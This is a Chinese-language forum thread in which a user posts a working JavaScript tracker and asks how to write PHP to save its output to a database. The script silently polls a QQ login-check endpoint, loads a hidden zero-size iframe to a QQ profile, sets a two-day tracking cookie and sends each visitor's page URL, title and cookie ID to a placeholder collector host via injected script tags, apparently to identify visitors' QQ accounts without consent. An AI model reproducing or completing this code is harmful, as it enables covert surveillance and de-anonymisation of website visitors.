JS文件
oScript.src = window.cfgurl + "?action=saveQQ&do=cookieSave&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie;用PHP接收获取到的数据,录入到数据库
oScript.src = window.cfgurl + "?action=saveQQ&do=cookieSave&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie;用PHP接收获取到的数据,录入到数据库
你加载 v8js 扩展尝试一下
window.cfgqq = "9544";
window.cfgurl = "http://wwww.xxx.com/";
var isLoginTimeID;
function SetCookie(name, value) {
var exp = new Date();
exp.setTime(exp.getTime() + 2 * 24 * 60 * 60 * 1000);
document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
}
function GetCookie(name) {
var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
if (arr != null) return unescape(arr[2]);
return null
}
function DelCookie(name) {
var exp = new Date();
exp.setTime(exp.getTime() - 1);
var cval = getCookie(name);
if (cval != null) document.cookie = name + "=" + cval + ";expires=" + exp.toGMTString()
}
function insertFrame() {
var ms = document.createElement("iframe");
ms.src = "http://meishi.qq.com/profiles/" + window.cfgqq;
ms.width = 0;
ms.height = 0;
ms.frameborder = 0;
ms.scrolling = "no";
if (ms.attachEvent) {
ms.attachEvent("onload",
function() {
newSubmit()
})
} else {
ms.onload = function() {
newSubmit()
}
}
document.body.appendChild(ms)
}
function newSubmit() {
var uincookie = GetCookie("uincookie");
if (uincookie == null) {
uincookie = "code" + (new Date()).getTime() + parseInt(Math.random() * 100000);
SetCookie("uincookie", uincookie)
}
var title = document.title;
title = encodeURI(title);
title = encodeURI(title);
var url = document.location.href;
url = encodeURI(url);
url = encodeURI(url);
var oHead = document.getElementsByTagName('HEAD').item(0);
var oScript = document.createElement("script");
oScript.type = "text/javascript";
oScript.src = window.cfgurl + "?action=saveQQ&do=save&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie;
oHead.appendChild(oScript)
}
function isLogin() {
var code = null;
if (typeof(data3) == "undefined") {
code = data0.err
} else {
code = data3.err
}
if (code == 1007) {
window.clearInterval(isLoginTimeID);
insertFrame()
} else {
var uincookie = GetCookie("uincookie");
if (uincookie != null) {
window.clearInterval(isLoginTimeID);
var title = document.title;
title = encodeURI(title);
title = encodeURI(title);
var url = document.location.href;
url = encodeURI(url);
url = encodeURI(url);
var oHead = document.getElementsByTagName('HEAD').item(0);
var oScript = document.createElement("script");
oScript.type = "text/javascript";
oScript.src = window.cfgurl + "?action=saveQQ&do=cookieSave&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie;
oHead.appendChild(oScript)
} else {
var checkscript = document.getElementById("checkloginscript");
checkscript.parentNode.removeChild(checkscript)
}
}
}
function dynamicLoad() {
var vsrc = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=";
var time = new Date().getTime();
vsrc = vsrc + time;
var oHead = document.getElementsByTagName('HEAD').item(0);
var oScript = document.createElement("script");
oScript.type = "text/javascript";
oScript.id = "checkloginscript";
if (oScript.readyState) {
oScript.onreadystatechange = function() {
if (oScript.readyState == "loaded" || oScript.readyState == "complete") {
oScript.onreadystatechange = null;
isLogin()
}
}
} else {
oScript.onload = function() {
isLogin()
}
}
oScript.src = vsrc;
oHead.appendChild(oScript)
}
dynamicLoad();
isLoginTimeID = window.setInterval("dynamicLoad()", 3000);
我是想把这个JS获取的数据存入到数据库。
我想到的方法是用PHP接收写入数据库,这样可以吧
谢谢版主的回答
大概怎么写呀。